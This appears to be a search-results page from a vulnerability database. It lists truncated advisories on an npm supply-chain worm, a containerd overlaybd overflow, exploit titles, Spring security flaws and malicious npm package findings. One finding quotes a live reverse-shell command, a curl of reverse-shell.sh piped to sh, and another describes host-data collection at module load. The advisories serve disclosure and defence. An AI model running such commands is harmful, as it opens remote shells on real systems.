657687 matches found
Tensorlake npm Package Compromised to Deliver Shai-Hulud Credential-Stealing Worm
The npm package known as "tensorlake," a TypeScript software development kit SDK for Tensorlake applications, sandboxes, and cloud services, was compromised as part of a ChainDrop / Shai-Hulud supply chain attack. The malicious version 0.5.144 "contains obfuscated malware that harvests credential...
CVE-2026-107446
containerd overlaybd through 1.0.18 has a doloadindex LSMT index loading integer overflow and resultant out-of-bounds heap access for indexbytes, if an untrusted overlaybd blob from a registry is used in a scenario with multiple overlaybd-backed containers...
Exploit for CVE-2026-61424
CVE-2026-61424 Unauthenticated arbitrary file upload in the D...
Malicious code in mfasolver (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6f583d18816b977d3e721da8423405533e9915ad13631d8114e40e54aefd9152 package.json at line 41 declares the only runtime dependency node-net-pool as...
Malicious code in hardhat-option (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2d460f6c739361d793fbc66b2aa32d1d9ab6fe0df4caefe13c590f40d05d5277 The package's declared main index.js immediately requires./lib/config, which is a single-line 4.5MB obfuscator.io-style bundle 26,234-entry hex-escap...
Malicious code in css-flow-render-shim (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f008c8756b09bb1840b05eafe5a30432475f6cc2d5a10064a42920059e8784fd The package publishes an empty index.js stub but ships Thunderbolt manifests that register payload.bundle.min.js as the bundle for core Wix component...
Malicious code in css-reading-display-polyfill (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a06a8966ab81cea21f3e94074bcdb0d72ea55a96be2d03989e12aa2f4d86ad66 thunderboltRegistry.js runs an IIFE at module load that invokes childprocess.execSync to collect host identity id, whoami, uname, the first 2000 byte...
EUVD-2026-94691
containerd overlaybd through 1.0.18 has a doloadindex LSMT index loading integer overflow and resultant out-of-bounds heap access for indexbytes, if an untrusted overlaybd blob from a registry is used in a scenario with multiple overlaybd-backed containers...
CVE-2026-107446
containerd overlaybd through 1.0.18 has a doloadindex LSMT index loading integer overflow and resultant out-of-bounds heap access for indexbytes, if an untrusted overlaybd blob from a registry is used in a scenario with multiple overlaybd-backed containers...
CVE-2026-107446
The containerd overlaybd component (versions through 1.0.18 ) contains an integer overflow vulnerability in the do_load_index (LSMT index loading) function. This flaw occurs during the processing of index_bytes, potentially leading to an out-of-bounds heap access . The vulnerability can be trigge...
Exploit for Improper Access Control in Ollyo Helix3
CVE-2026-49049 — Helix3 Joomla Unauthenticated Arbitrary JSO...
Exploit for Unrestricted Upload of File with Dangerous Type in Balbooa Forms
CVE-2026-56291 — Unauthenticated Arbitrary File Upload to RCE...
Malicious code in internallib_v788 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 59624002e9650beef10d1f87f3f4125405d990d4b58fb8d2178f39b7ff6fb129 internallibv788 exports a command function in index.js line 5 that executes /bin/bash -c "curl https://reverse-shell.sh/10.0.75.246:443|sh", fetching...
CLEANSTART-2026-BP29936 In Micrometer, it is possible for a user to provide specially crafted gRPC requests that may cause a denial-of-service (DoS) condition
Security vulnerability affects the apache-nifi-registry package. In Micrometer, it is possible for a user to provide specially crafted gRPC requests that may cause a denial-of-service DoS condition...
CLEANSTART-2026-DN56273 Applications using AesBytesEncryptor with the two-argument constructor or when passing a null IV generator and CBC as the encryption mode encrypt data with AES/CBC using a null (all-zero) initializ...
Security vulnerability affects the apache-nifi-registry package. Applications using AesBytesEncryptor with the two-argument constructor or when passing a null IV generator and CBC as the encryption mode encrypt data with AES/CBC using a null all-zero initialization vector...
CLEANSTART-2026-GG30047 UrlHandlerFilter can be vulnerable to an open redirect when configured with very broadly matching patterns
Security vulnerability affects the apache-nifi-registry package. UrlHandlerFilter can be vulnerable to an open redirect when configured with very broadly matching patterns...
CLEANSTART-2026-AA31447 Several components in Spring Security compare security-sensitive values using standard string equality (String
Security vulnerability affects the apache-nifi-registry package. Several components in Spring Security compare security-sensitive values using standard string equality String...
CLEANSTART-2026-AY31255 Spring RSocket application is exposed to a memory leak via a malformed SETUP frame
Security vulnerability affects the apache-nifi-registry package. A Spring RSocket application is exposed to a memory leak via a malformed SETUP frame...
CLEANSTART-2026-IK05706 Spring MVC application that uses UrlFileNameViewController that is mapped with an end-of-path, and does not have a configured prefix is vulnerable to an open redirect
Security vulnerability affects the apache-nifi-registry package. A Spring MVC application that uses UrlFileNameViewController that is mapped with an end-of-path, and does not have a configured prefix is vulnerable to an open redirect...
CLEANSTART-2026-GT33551 Spring LDAP's DirContextAuthenticationStrategy implementations do not reject a bind request where a non-empty username is paired with an empty or null password
Security vulnerability affects the apache-nifi-registry package. Spring LDAP's DirContextAuthenticationStrategy implementations do not reject a bind request where a non-empty username is paired with an empty or null password...